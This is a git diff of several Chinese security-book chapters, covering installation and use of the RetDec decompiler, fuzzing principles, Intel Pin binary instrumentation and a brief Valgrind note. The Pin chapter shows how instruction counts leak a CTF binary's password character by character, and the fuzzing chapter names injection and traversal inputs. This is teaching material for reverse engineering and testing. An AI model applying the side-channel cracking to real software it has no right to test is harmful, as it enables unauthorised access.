前面介绍过 IDA Pro,其 F5 已经具有巨强大的反编译能力了,但这本书一直到现在,由于本人的某种执念,都是在硬怼汇编代码,没有用到 IDA,虽说这样能锻炼到我们的汇编能力,但也可以说是无故加大了逆向的难度。但现在事情出现了转机,安全公司 Avast 开源了它的反编译器 RetDec,能力虽不及 IDA,目前也只支持 32 位,但好歹有了第一步,未来会好起来的。
|
||||
|
||||
## RetDec 简介
|
||||
|
||||
[RetDec](https://retdec.com/) 是一个可重定向的机器码反编译器,它基于 LLVM,支持各种体系结构、操作系统和文件格式:
|
||||
|
||||
- 支持的文件格式:ELF,PE,Mach-O,COFF,AR(存档),Intel HEX 和原始机器码。
|
||||
- 支持的体系结构(仅限 32 位):Intel x86,ARM,MIPS,PIC32 和 PowerPC。
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
在 Linux 上,你需要自己构建和安装。
|
||||
|
||||
安装依赖:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo apt-get install build-essential cmake coreutils wget bc graphviz upx flex bison zlib1g-dev libtinfo-dev autoconf pkg-config m4 libtool
|
||||
```
|
||||
|
||||
把项目连同子模块一起拉下来:
|
||||
```
|
||||
|
||||
```text
|
||||
$ git clone --recursive https://github.com/avast-tl/retdec
|
||||
```
|
||||
|
||||
接下来要注意了,由于项目自己的问题,在运行 cmake 的时候一定指定一个干净的目录,不要在默认的 `/usr` 或者 `/usr/local` 里,可以像下面这样:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cd retdec
|
||||
$ mkdir build && cd build
|
||||
$ cmake .. -DCMAKE_INSTALL_PREFIX=/usr/local/retdec
|
||||
$ make && sudo make install
|
||||
```
|
||||
|
||||
|
||||
## 入门
|
||||
|
||||
安装完成后,我们用 helloword 大法试一下,注意将其编译成 32 位:
|
||||
|
||||
```C
|
||||
#include <stdio.h>
|
||||
int main() {
|
||||
@ -44,8 +51,10 @@ int main() {
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
运行 decompile.sh 反编译它,我们截取出部分重要的过程和输出:
|
||||
```sh
|
||||
|
||||
```text
|
||||
$ /usr/local/retdec/bin/decompile.sh a.out
|
||||
##### Checking if file is a Mach-O Universal static library...
|
||||
RUN: /usr/local/retdec/bin/macho-extractor --list /home/firmy/test/a.out
|
||||
@ -70,48 +79,60 @@ RUN: /usr/local/retdec/bin/llvmir2hll -target-hll=c -var-renamer=readable -var-n
|
||||
|
||||
##### Done!
|
||||
```
|
||||
|
||||
总共输出下面几个文件:
|
||||
```
|
||||
|
||||
```text
|
||||
$ ls
|
||||
a.out a.out.c a.out.c.backend.bc a.out.c.backend.ll a.out.c.frontend.dsm a.out.c.json
|
||||
```
|
||||
|
||||
可以看到 RetDec 可以分为三个阶段:
|
||||
|
||||
- 预处理阶段:首先检查文件类型是否为可执行文件,然后调用 `fileinfo` 获取文件信息生成 `a.out.c.json`,然后调用 `unpacker` 查壳和脱壳等操作
|
||||
- 核心阶段:接下来才是重头戏,调用 `bin2llvmir` 将二进制文件转换成 LLVM IR,并输出 `a.out.c.frontend.dsm`、`a.out.c.backend.ll` 和 `a.out.c.backend.bc`
|
||||
- 后端阶段:这个阶段通过一系列代码优化和生成等操作,将 LLVM IR 反编译成 C 代码 `a.out.c`,还有 CFG 等。
|
||||
|
||||
整个过程的结构如下:
|
||||
|
||||
![](../pic/5.11_top_level.png)
|
||||
![img](../pic/5.11_top_level.png)
|
||||
|
||||
`decompile.sh` 有很多选项,使用 `decompile.sh -h` 查看。
|
||||
|
||||
比如反编译指定函数:
|
||||
```
|
||||
|
||||
```text
|
||||
$ /usr/local/retdec/bin/decompile.sh --select-functions main a.out
|
||||
```
|
||||
|
||||
反编译指定的一段地址:
|
||||
```
|
||||
|
||||
```text
|
||||
$ /usr/local/retdec/bin/decompile.sh --select-ranges 0x51d-0x558 a.out
|
||||
```
|
||||
|
||||
生成函数 CFG 图(.dot格式):
|
||||
```
|
||||
|
||||
```text
|
||||
$ /usr/local/retdec/bin/decompile.sh --backend-emit-cfg a.out
|
||||
```
|
||||
|
||||
|
||||
## r2pipe decompiler
|
||||
|
||||
radare2 通过 r2pipe 脚本,利用 retdec.com 的 REST API 提供了反编译的功能,所以你首先要到网站上注册,拿到免费的 API key。
|
||||
|
||||
安装上该模块,当然你可能需要先安装上 npm,它是 JavaScript 的包管理器:
|
||||
```
|
||||
|
||||
```text
|
||||
$ git clone https://github.com/jpenalbae/r2-scripts.git
|
||||
$ cd r2-scripts/decompiler/
|
||||
$ npm install
|
||||
```
|
||||
|
||||
将 API key 写入到 `~/.config/radare2/retdec.key` 中,然后就可以开心地反编译了。
|
||||
|
||||
还是 helloworld 的例子,用 r2 打开,反编译 main 函数。
|
||||
|
||||
```c
|
||||
[0x000003e0]> #!pipe node /home/firmy/r2-scripts/decompiler/decompile.js @ main
|
||||
Start: 0x51d
|
||||
@ -149,12 +170,15 @@ int main() {
|
||||
// Decompiler release: v2.2.1 (2016-09-07)
|
||||
// Decompilation date: 2017-12-15 07:48:04
|
||||
```
|
||||
|
||||
每次输入反编译器路径是不是有点烦,在文件 `~/.config/radare2/radare2rc` 里配置一下 alias 就好了,用 `$decompile` 替代:
|
||||
|
||||
```sh
|
||||
# Alias
|
||||
$decompile=#!pipe node /home/user/r2-scripts/decompiler/decompile.js
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
[0x000003e0]> $decompile -h
|
||||
|
||||
Usage: $decompile [-acChps] [-n naming] @ addr
|
||||
@ -179,8 +203,8 @@ Where valid variable namings are:
|
||||
**********************************************************************
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [retdec github](https://github.com/avast-tl/retdec)
|
||||
- [RetDec: An Open-Source Machine-Code Decompiler](https://retdec.com/web/files/publications/retdec-slides-botconf-2017.pdf)
|
||||
- [radare r2pipe decompiler](https://github.com/jpenalbae/r2-scripts/tree/master/decompiler)
|
||||
|
@ -4,16 +4,19 @@
|
||||
- [方法实现](#方法实现)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 基本原理
|
||||
|
||||
模糊测试(fuzzing)是一种通过向程序提供非预期的输入并监控输出中的异常来发现软件中的故障的方法。
|
||||
|
||||
用于模糊测试的模糊测试器(fuzzer)分为两类:
|
||||
|
||||
- 一类是基于变异的模糊测试器,它通过对已有的数据样本进行变异来创建测试用例
|
||||
- 另一类是基于生成的模糊测试器,它为被测试系统使用的协议或文件格式建模,基于模型生成输入并据此创建测试用例。
|
||||
|
||||
#### 模糊测试流程
|
||||
### 模糊测试流程
|
||||
|
||||
模糊测试通常包含下面几个基本阶段:
|
||||
|
||||
1. 确定测试目标:确定目标程序的性质、功能、运行条件和环境、编写程序的语言、软件过去所发现的漏洞信息以及与外部进行交互的接口等
|
||||
2. 确定输入向量:例如文件数据、网络数据和环境变量等。
|
||||
3. 生成模糊测试数据:在确定输入向量之后设计要模糊测试的方法和测试数据生成算法等
|
||||
@ -21,22 +24,27 @@
|
||||
5. 监视异常:监视目标程序是否产生异常,记录使程序产生异常的测试数据和异常相关信息
|
||||
6. 判定发现的漏洞是否可被利用:通过将产生异常的数据重新发送给目标程序,跟踪异常产生前后程序相关的处理流程,分析异常产生的原因,从而判断是否可利用
|
||||
|
||||
#### 基本要求
|
||||
### 基本要求
|
||||
|
||||
要实现高效的模糊测试,通常需要满足下面几个方面的要求:
|
||||
|
||||
1. 可重现性:测试者必须能够知道使目标程序状态变化所对应的测试数据是什么,如果不具备重现测试结果的能力,那么整个过程就失去了意义。实现可重现性的一个方法是在发送测试数据的同时记录下测试数据和目标程序的状态
|
||||
2. 可重用性:进行模块化开发,这样就不需要为一个新的目标程序重新开发一个模糊测试器
|
||||
3. 代码覆盖:指模糊测试器能够使目标程序达到或执行的所有代码及过程状态的数量
|
||||
4. 异常监视:能够精确地判定目标程序是否发生异常非常的关键
|
||||
|
||||
#### 存在的问题
|
||||
### 存在的问题
|
||||
|
||||
模糊测试中存在的问题:
|
||||
|
||||
1. 具有较强的盲目性:即使熟悉协议格式,依然没有解决测试用例路径重复的问题,导致效率较低
|
||||
2. 测试用例冗余度大:由于很多测试用例通过随机策略产生,导致会产生重复或相似的测试用例
|
||||
3. 对关联字段的针对性不强:大多数时候只是对多个元素进行数据的随机生成或变异,缺乏对协议关联字段的针对性
|
||||
|
||||
|
||||
## 方法实现
|
||||
#### 输入数据的关联分析
|
||||
|
||||
### 输入数据的关联分析
|
||||
|
||||
通常情况下,应用程序都会对输入的数据对象进行格式检查。通过分析输入到程序的数据对象的结构以及其组成元素之间的依赖关系,构造符合格式要求的测试用例从而绕过程序格式检查,是提高模糊测试成功率的重要步骤。
|
||||
|
||||
应用程序的输入数据通常都遵循一定的规范,并具有固定的结构。例如:网络数据包通常遵守某种特定的网络协议规范,文件数据通常遵守特定的文件格式规范。输入数据结构化分析就是对这些网络数据包或文件格式的结构进行分析,识别出特定的可能引起应用程序解析错误的字段,有针对性地通过变异或生成的方式构建测试用例。通常关注下面几种字段:表示长度的字段、表示偏移的字段、可能引起应用程序执行不同逻辑的字段、可变长度的数据等。
|
||||
@ -44,11 +52,13 @@
|
||||
应用程序所能处理的数据对象是非常复杂的。例如 MS Office 文件是一种基于对象嵌入和链接方式存储的复合文件,不仅可以在文件中嵌入其他格式的文件,还可以包含多种不同类型的元数据。这种复杂性导致在对其进行模糊测试的过程中产生的绝大多数测试数据都不能被应用程序所接受。数据块关联模型是解决这一问题的有效途径。该模型以数据块为基本元素,以数据块之间的关联性为纽带生成畸形测试数据。其中,数据块是数据块关联模型的基础。通常一个数据对象可以分为几个数据块,数据块之间的依赖关系称为数据关联。
|
||||
|
||||
数据块的划分通常遵循三个基本原则:
|
||||
|
||||
- 使数据块之间的关联性尽可能的小
|
||||
- 将具有特定意义的数据划分为一个数据块
|
||||
- 将一段连续且固定不变的数据划分为同一个数据块
|
||||
|
||||
数据块关联模型的划分:
|
||||
|
||||
- 关联方式
|
||||
- 内关联:指同一数据对象内不同数据块之间的关联性。
|
||||
- 长度关联:数据对象内某一个或几个数据块表示另一数据块的长度。是文件格式、网络协议和ActiveX控件模糊测试中最常见的一种数据关联方式。
|
||||
@ -60,8 +70,10 @@
|
||||
- 评价标准
|
||||
- 有效数据对象效率:构造的畸形数据对象个数与能够被应用程序所接受处理的数据对象个数的比率。
|
||||
|
||||
#### 测试用例集的构建方法
|
||||
### 测试用例集的构建方法
|
||||
|
||||
常见的构建方法有以下几种:
|
||||
|
||||
- 随机方法:简单地产生大量伪随机数据给目标程序。
|
||||
- 强制性测试:模糊测试器从一个有效的协议或数据格式样本开始,持续不断地打乱数据包或文件中的每一个字节、字、双字或字符串。
|
||||
- 预先生成测试用例:对一个专门规约的研究,以理解所有被支持的数据格式和每种数据格式可接受的取值范围,然后生成用于测试边界条件或迫使规约发生违例的硬编码的数据包或文件。
|
||||
@ -78,16 +90,20 @@
|
||||
- 目录遍历:在URL中附加 "../" 之类的符号将导致攻击者访问未授权的目录。
|
||||
- 命令注入:向 "exec()"、"system()" 之类的 API 调用传递未经过滤的用户数据。
|
||||
|
||||
#### 测试异常分析
|
||||
### 测试异常分析
|
||||
|
||||
在程序动态分析过程中,相关信息的获取途径有下面几种:
|
||||
|
||||
- 通过程序的正常输出获取信息
|
||||
- 通过静态代码插桩获取信息
|
||||
- 通过动态二进制插桩获取信息
|
||||
- 通过虚拟机获取信息
|
||||
- 通过调试接口或者调试器获取信息
|
||||
|
||||
#### 模糊测试框架
|
||||
### 模糊测试框架
|
||||
|
||||
模糊测试框架是一个通用的模糊器,可以对不同类型的目标进行模糊测试,它将一些单调的工作抽象化,并且将这些工作减少到最低程度。通常模糊测试框架都包含以下几个部分:
|
||||
|
||||
- 模糊测试数据生成模块
|
||||
- 原始数据生成模块:可以直接读取一些手工构造的正常数据,也可以根据结构定义来自动生成正常的测试数据
|
||||
- 畸形数据生成模块:在原始数据的基础上做一些修改和变形,从而生成最终的畸形数据
|
||||
@ -97,7 +113,7 @@
|
||||
- 异常过滤模块:在动态调试模块的基础上,对异常产生的结果实时过滤
|
||||
- 测试结果管理模块:测试结果数据库中除了异常信息之外,产生异常的畸形数据也会被保存。利用测试结果数据库,可以实现回归测试。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Fuzzing](https://en.wikipedia.org/wiki/Fuzzing)
|
||||
- [Awesome-Fuzzing](https://github.com/secfigo/Awesome-Fuzzing)
|
||||
|
157
doc/5.2.1_pin.md
157
doc/5.2.1_pin.md
@ -8,13 +8,14 @@
|
||||
- [Pin 在 CTF 中的应用](#pin-在-ctf-中的应用)
|
||||
- [扩展:Triton](#扩展triton)
|
||||
|
||||
|
||||
## 插桩技术
|
||||
|
||||
插桩技术是将额外的代码注入程序中以收集运行时的信息,可分为两种:
|
||||
|
||||
源代码插桩(Source Code Instrumentation(SCI)):额外代码注入到程序源代码中。
|
||||
|
||||
示例:
|
||||
|
||||
```c
|
||||
// 原始程序
|
||||
void sci() {
|
||||
@ -28,6 +29,7 @@ void sci() {
|
||||
printf("%d", num);
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
// 插桩后的程序
|
||||
char inst[5];
|
||||
@ -49,74 +51,81 @@ void sci() {
|
||||
```
|
||||
|
||||
二进制插桩(Binary Instrumentation(BI)):额外代码注入到二进制可执行文件中。
|
||||
- 静态二进制插桩:在程序执行前插入额外的代码和数据,生成一个永久改变的可执行文件。
|
||||
- 动态二进制插桩:在程序运行时实时地插入额外代码和数据,对可执行文件没有任何永久改变。
|
||||
|
||||
- 静态二进制插桩:在程序执行前插入额外的代码和数据,生成一个永久改变的可执行文件。
|
||||
- 动态二进制插桩:在程序运行时实时地插入额外代码和数据,对可执行文件没有任何永久改变。
|
||||
|
||||
以上面的函数 `sci` 生成的汇编为例:
|
||||
|
||||
原始汇编代码
|
||||
```
|
||||
|
||||
```text
|
||||
sci:
|
||||
pushl %ebp
|
||||
movl %esp, %ebp
|
||||
pushl %ebx
|
||||
subl $20, %esp
|
||||
call __x86.get_pc_thunk.ax
|
||||
addl $_GLOBAL_OFFSET_TABLE_, %eax
|
||||
movl $0, -16(%ebp)
|
||||
movl $0, -12(%ebp)
|
||||
jmp .L2
|
||||
pushl %ebp
|
||||
movl %esp, %ebp
|
||||
pushl %ebx
|
||||
subl $20, %esp
|
||||
call __x86.get_pc_thunk.ax
|
||||
addl $_GLOBAL_OFFSET_TABLE_, %eax
|
||||
movl $0, -16(%ebp)
|
||||
movl $0, -12(%ebp)
|
||||
jmp .L2
|
||||
```
|
||||
|
||||
- 插入指令计数代码
|
||||
```
|
||||
|
||||
```text
|
||||
sci:
|
||||
counter++;
|
||||
pushl %ebp
|
||||
pushl %ebp
|
||||
counter++;
|
||||
movl %esp, %ebp
|
||||
movl %esp, %ebp
|
||||
counter++;
|
||||
pushl %ebx
|
||||
pushl %ebx
|
||||
counter++;
|
||||
subl $20, %esp
|
||||
subl $20, %esp
|
||||
counter++;
|
||||
call __x86.get_pc_thunk.ax
|
||||
call __x86.get_pc_thunk.ax
|
||||
counter++;
|
||||
addl $_GLOBAL_OFFSET_TABLE_, %eax
|
||||
addl $_GLOBAL_OFFSET_TABLE_, %eax
|
||||
counter++;
|
||||
movl $0, -16(%ebp)
|
||||
movl $0, -16(%ebp)
|
||||
counter++;
|
||||
movl $0, -12(%ebp)
|
||||
movl $0, -12(%ebp)
|
||||
counter++;
|
||||
jmp .L2
|
||||
jmp .L2
|
||||
```
|
||||
|
||||
- 插入指令跟踪代码
|
||||
```
|
||||
|
||||
```text
|
||||
sci:
|
||||
Print(ip)
|
||||
pushl %ebp
|
||||
pushl %ebp
|
||||
Print(ip)
|
||||
movl %esp, %ebp
|
||||
movl %esp, %ebp
|
||||
Print(ip)
|
||||
pushl %ebx
|
||||
pushl %ebx
|
||||
Print(ip)
|
||||
subl $20, %esp
|
||||
subl $20, %esp
|
||||
Print(ip)
|
||||
call __x86.get_pc_thunk.ax
|
||||
call __x86.get_pc_thunk.ax
|
||||
Print(ip)
|
||||
addl $_GLOBAL_OFFSET_TABLE_, %eax
|
||||
addl $_GLOBAL_OFFSET_TABLE_, %eax
|
||||
Print(ip)
|
||||
movl $0, -16(%ebp)
|
||||
movl $0, -16(%ebp)
|
||||
Print(ip)
|
||||
movl $0, -12(%ebp)
|
||||
movl $0, -12(%ebp)
|
||||
Print(ip)
|
||||
jmp .L
|
||||
jmp .L
|
||||
```
|
||||
|
||||
|
||||
## Pin 简介
|
||||
|
||||
Pin 是 Intel 公司研发的一个动态二进制插桩框架,可以在二进制程序运行过程中插入各种函数,以监控程序每一步的执行。[官网](https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool)(目前有 2.x 和 3.x 两个版本,2.x 不能在 Linux 内核 4.x 及以上版本上运行,这里我们选择 3.x)
|
||||
|
||||
Pin 具有以下优点:
|
||||
|
||||
- 易用
|
||||
- 使用动态插桩,不需要源代码、不需要重新编译和链接。
|
||||
- 可扩展
|
||||
@ -131,17 +140,18 @@ Pin 具有以下优点:
|
||||
- 高效
|
||||
- 在指令代码层面实现编译优化
|
||||
|
||||
|
||||
## Pin 的基本结构和原理
|
||||
|
||||
Pin 是一个闭源的框架,由 Pin 和 Pintool 组成。Pin 内部提供 API,用户使用 API 编写可以由 Pin 调用的动态链接库形式的插件,称为 Pintool。
|
||||
|
||||
![](../pic/5.2_pin_arch.png)
|
||||
![img](../pic/5.2_pin_arch.png)
|
||||
|
||||
由图可以看出,Pin 由进程级的虚拟机、代码缓存和提供给用户的插桩检测 API 组成。Pin 虚拟机包括 JIT(Just-In-Time) 编译器、模拟执行单元和代码调度三部分,其中核心部分为 JIT 编译器。当 Pin 将待插桩程序加载并获得控制权之后,在调度器的协调下,JIT 编译器负责对二进制文件中的指令进行插桩,动态编译后的代码即包含用户定义的插桩代码。编译后的代码保存在代码缓存中,经调度后交付运行。
|
||||
|
||||
程序运行时,Pin 会拦截可执行代码的第一条指令,并为后续指令序列生成新的代码,新代码的生成即按照用户定义的插桩规则在原始指令的前后加入用户代码,通过这些代码可以抛出运行时的各种信息。然后将控制权交给新生成的指令序列,并在虚拟机中运行。当程序进入到新的分支时,Pin 重新获得控制权并为新分支的指令序列生成新的代码。
|
||||
|
||||
通常插桩需要的两个组件都在 Pintool 中:
|
||||
|
||||
- 插桩代码(Instrumentation code)
|
||||
- 在什么位置插入插桩代码
|
||||
- 分析代码(Analysis code)
|
||||
@ -153,36 +163,45 @@ Pintool 采用向 Pin 注册插桩回调函数的方式,对每一个被插桩
|
||||
- **Analysis routines**:某对象每次被访问时都调用
|
||||
- **Callbacks**:无论何时当特定事件发生时都调用
|
||||
|
||||
|
||||
## Pin 的基本用法
|
||||
|
||||
在 Pin 解压后的目录下,编译一个 Pintool,首先在 `source/tools/` 目录中创建文件夹 `MyPintools`,将 `mypintool.cpp` 复制到 `source/tools/MyPintools` 目录下,然后 `make`:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cp mypintools.cpp source/tools/MyPintools
|
||||
$ cd source/tools/MyPintools
|
||||
```
|
||||
|
||||
对于 32 位架构,使用 `TARGET=ia32`:
|
||||
```
|
||||
|
||||
```text
|
||||
[MyPintools]$ make obj-ia32/mypintool.so TARGET=ia32
|
||||
```
|
||||
|
||||
对于 64 位架构,使用 `TARGET=intel64`:
|
||||
```
|
||||
|
||||
```text
|
||||
[MyPintools]$ make obj-intel64/mypintool.so TARGET=intel64
|
||||
```
|
||||
|
||||
启动并插桩一个应用程序:
|
||||
```
|
||||
|
||||
```text
|
||||
[MyPintools]$ ../../../pin -t obj-intel64/mypintools.so -- application
|
||||
```
|
||||
|
||||
其中 `pin` 是插桩引擎,由 Pin 的开发者提供;`pintool.so` 是插桩工具,由用户自己编写并编译。
|
||||
|
||||
绑定并插桩一个正在运行的程序:
|
||||
```
|
||||
|
||||
```text
|
||||
[MyPintools]$ ../../../pin -t obj-intel64/mypintools.so -pid 1234
|
||||
```
|
||||
|
||||
|
||||
## Pintool 示例分析
|
||||
|
||||
Pin 提供了一些 Pintool 的示例,下面我们分析一下用户手册中介绍的指令计数工具,可以在 `source/tools/ManualExamples/inscount0.cpp` 中找到。
|
||||
|
||||
```c
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
@ -252,7 +271,9 @@ int main(int argc, char * argv[])
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
执行流程如下:
|
||||
|
||||
- 在主函数 `main` 中:
|
||||
- 初始化 `PIN_Init()`,注册指令粒度的回调函数 `INS_AddInstrumentFunction(Instruction, 0)`,被注册插桩函数名为 `Instruction`
|
||||
- 注册完成函数(常用于最后输出结果)
|
||||
@ -261,7 +282,8 @@ int main(int argc, char * argv[])
|
||||
- 执行完成函数 `Fini()`,输出计数结果到文件。
|
||||
|
||||
由于我当前使用的系统和内核版本过新,Pin 暂时还未支持,使用时需要加上 `-ifeellucky` 参数(在最新的 pin 3.5 中似乎不需要这个参数了),`-o` 参数将运行结果输出到文件。运行程序:
|
||||
```
|
||||
|
||||
```text
|
||||
[ManualExamples]$ uname -a
|
||||
Linux manjaro 4.11.5-1-ARCH #1 SMP PREEMPT Wed Jun 14 16:19:27 CEST 2017 x86_64 GNU/Linux
|
||||
[ManualExamples]$ ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount0.log -- /bin/ls
|
||||
@ -280,55 +302,63 @@ Count 528090
|
||||
| proccount | 统计 Procedure 的信息,包括名称、镜像、地址、指令数 |
|
||||
| w_malloctrace | 记录 RtlAllocateHeap 的调用情况 |
|
||||
|
||||
|
||||
## Pintool 编写
|
||||
#### main 函数的编写
|
||||
|
||||
### main 函数的编写
|
||||
|
||||
Pintool 的入口为 `main` 函数,通常需要完成下面的功能:
|
||||
|
||||
- 初始化 Pin 系统环境:
|
||||
- `BOOL LEVEL_PINCLIENT::PIN_Init(INT32 argc, CHAR** argv)`
|
||||
- 初始化符号表(如果需要调用程序符号信息,通常是指令粒度以上):
|
||||
- `VOID LEVEL_PINCLIENT::PIN_InitSymbols()`
|
||||
- 初始化同步变量:
|
||||
- Pin 提供了自己的锁和线程管理 API 给 Pintool 使用。当 Pintool 对多线程程序进行二进制检测,需要用到全局变量时,需要利用 Pin 提供的锁(Lock)机制,使得全局变量的访问互斥。编写时在全局变量中声明锁变量并在 `main` 函数中对锁进行初始化:`VOID LEVEL_BASE::InitLock(PIN_LOCK *lock)`。在插桩函数和分析函数中,锁的使用方式如下,应注意在全局变量使用完毕后释放锁,避免死锁的发生:
|
||||
```
|
||||
|
||||
```text
|
||||
GetLock(&thread_lock, threadid);
|
||||
// 访问全局变量
|
||||
ReleaseLock(&thread_lock);
|
||||
```
|
||||
|
||||
- 注册不同粒度的回调函数:
|
||||
- TRACE(轨迹)粒度
|
||||
- TRACE 表示一个单入口、多出口的指令序列的数据结构。Pin 将 TRACE 分为若干基本块 BBL(Basic Block),一个 BLL 是一个单入口、单出口的指令序列。TRACE 在指令发生跳转时进行插入,进一步进行基本块分析,常用于记录程序执行序列。注册 TRACE 粒度插桩函数原型为:
|
||||
```
|
||||
```text
|
||||
TRACE_AddInstrumentFunction(TRACE_INSTRUMENT_CALLBACK fun, VOID *val)
|
||||
```
|
||||
- IMG(镜像)粒度
|
||||
- IMG 表示整个被加载进内存的二进制可执行模块(如可执行文件、动态链接库等)类型的数据结构。每次被插桩进程在执行过程中加载了镜像类型文件时,就会被当做 IMG 类型处理。注册插桩 IMG 粒度加载和卸载的函数原型:
|
||||
```
|
||||
```text
|
||||
IMG_AddInstrumentFunction(IMAGECALLBACK fun, VOID *v)
|
||||
IMG_AddUnloadFunction(IMAGECALLBACK fun, VOID *v)
|
||||
```
|
||||
- RTN(例程)粒度
|
||||
- RTN 代表了由面向过程程序语言编译器产生的函数/例成/过程。Pin 使用符号表来查找例程,即需要插入的位置,需要调用内置的初始化表函数 `PIN_InitSymbols()`。必须使用 `PIN_InitSymbols` 使得符号表信息可用。插桩 RTN 粒度函数原型:
|
||||
```
|
||||
```text
|
||||
RTN_AddInstrumentFunction(RTN_INSTRUMENT_CALLBACK fun, VOID *val)
|
||||
```
|
||||
- INS(指令)粒度
|
||||
- INS 代表一条指令对应的数据结构,INS 是最小的粒度。INS 的代码插桩是在指令执行前、后插入附加代码,会导致程序执行缓慢。插桩 INS 粒度函数原型:
|
||||
```
|
||||
```text
|
||||
INS_AddInstrumentFunction(INS_INSTRUMENT_CALLBACK fun, VOID *val)
|
||||
```
|
||||
- 注册结束回调函数
|
||||
- 插桩程序运行结束时,可以调用结束函数来释放不再使用的资源,输出统计结果等。注册结束回调函数:
|
||||
```
|
||||
|
||||
```text
|
||||
VOID PIN_AddFiniFunction(FINI_CALLBACK fun, VOID *val)
|
||||
```
|
||||
|
||||
- 启动 Pin 虚拟机进行插桩:
|
||||
- 最后调用 `VOID PIN_StartProgram()` 启动程序的运行。
|
||||
|
||||
#### 插桩、分析函数的编写
|
||||
### 插桩、分析函数的编写
|
||||
|
||||
在 `main` 函数中注册插桩回调函数后,Pin 虚拟机将在运行过程中对该种粒度的插桩函数对象选择性的进行插桩。所谓选择性,就是根据被插桩对象的性质和条件,选择性的提取或修改程序执行过程中的信息。
|
||||
|
||||
各种粒度的插桩函数:
|
||||
|
||||
- **INS**
|
||||
- `VOID LEVEL_PINCLIENT::INS_InsertCall(INS ins, IPOINT action, AFUNPTR funptr, ...)`
|
||||
- **RTN**
|
||||
@ -340,11 +370,12 @@ Pintool 的入口为 `main` 函数,通常需要完成下面的功能:
|
||||
|
||||
其中 `funptr` 为用户自定义的分析函数,函数参数与 `...` 参数列表传入的参数个数相同,参数列表以 `IARG_END` 标记结束。
|
||||
|
||||
|
||||
## Pin 在 CTF 中的应用
|
||||
|
||||
由于程序具有循环、分支等结构,每次运行时执行的指令数量不一定相同,于是我们可是使用 Pin 来统计执行指令的数量,从而对程序进行分析。特别是对一些使用特殊指令集和虚拟机,或者运用了反调试等技术的程序来说,相对于静态分析去死磕,动态插桩技术是一个比较好的选择。
|
||||
|
||||
我们先举一个例子,[源码](../src/others/5.2_pin/passwd.c)如下:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<string.h>
|
||||
@ -365,10 +396,12 @@ void main() {
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这段代码要求用户输入密码,然后逐字符进行判断。
|
||||
|
||||
使用前面分析的指令计数的 inscount0 Pintool,我们先测试下密码的长度:
|
||||
```
|
||||
|
||||
```text
|
||||
[ManualExamples]$ echo x | ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount.out -- ~/a.out ; cat inscount.out
|
||||
Bad!
|
||||
Count 152667
|
||||
@ -391,8 +424,10 @@ Count 152772
|
||||
Bad!
|
||||
Count 152779
|
||||
```
|
||||
|
||||
我们输入的密码位数从 1 到 7,可以看到输入位数为 6 位或更少时,计数值之差都是 21,而输入 7 位密码时,差值仅为 7,不等于 21。于是我们知道程序密码为 6 位。接下来我们更改密码的第一位:
|
||||
```
|
||||
|
||||
```text
|
||||
[ManualExamples]$ echo axxxxx | ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount.out -- ~/a.out ; cat inscount.out
|
||||
Bad!
|
||||
Count 152786
|
||||
@ -406,8 +441,10 @@ Count 152772
|
||||
Bad!
|
||||
Count 152772
|
||||
```
|
||||
|
||||
很明显,程序密码第一位是 `a`,接着尝试第二位:
|
||||
```
|
||||
|
||||
```text
|
||||
[ManualExamples]$ echo aaxxxx | ../../../pin -ifeellucky -t obj-intel64/inscount0.so -o inscount.out -- ~/a.out ; cat inscount.out
|
||||
Bad!
|
||||
Count 152786
|
||||
@ -421,13 +458,15 @@ Count 152786
|
||||
Bad!
|
||||
Count 152786
|
||||
```
|
||||
|
||||
第二位是 `b`,同时我们还可以发现,每一位正确与错误的指令计数之差均为 14。同理,我们就可以暴力破解出密码,但这种暴力破解方式大大减少了次数,提高了效率。破解脚本可查看参考资料。
|
||||
|
||||
#### 参考资料
|
||||
### 参考资料
|
||||
|
||||
- [A binary analysis, count me if you can](http://shell-storm.org/blog/A-binary-analysis-count-me-if-you-can/)
|
||||
- [pintool2](https://github.com/sebastiendamaye/pintool2)
|
||||
- [Pin 3.5 User Guide](https://software.intel.com/sites/landingpage/pintool/docs/97503/Pin/html/)
|
||||
|
||||
|
||||
## 扩展:Triton
|
||||
|
||||
Triton 是一个二进制执行框架,其具有两个重要的优点,一是可以使用 Python 调用 Pin,二是支持符号执行。[官网](https://triton.quarkslab.com/)
|
||||
|
@ -5,21 +5,20 @@
|
||||
- [VEX IR](#vex-ir)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
Valgrind 是一个用于内存调试、内存泄漏检测以及性能分析的动态二进制插桩工具。Valgrind 由 core 以及基于 core 的其他调试工具组成。core 类似于一个框架,它模拟了一个 CPU 环境,并提供服务给其他工具,而其他工具以插件的形式利用 core 提供的服务完成各种特定的任务。
|
||||
|
||||
Valgrind 是一个用于内存调试、内存泄漏检测以及性能分析的动态二进制插桩工具。Valgrind 由 core 以及基于 core 的其他调试工具组成。core 类似于一个框架,它模拟了一个 CPU 环境,并提供服务给其他工具,而其他工具以插件的形式利用 core 提供的服务完成各种特定的任务。
|
||||
|
||||
## 使用方法
|
||||
|
||||
|
||||
## VEX IR
|
||||
|
||||
VEX IR 是 Valgrind 所使用的中间表示,供 DBI 使用,后来这一部分被分离出去作为 libVEX,libVEX 负责将机器码转换成 VEX IR,转换结果存放在 cache 中。
|
||||
|
||||
顺便,再简单提一下其他的类似用途的 IR 还有:BAP、REIL、LLVM、TCG 等。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
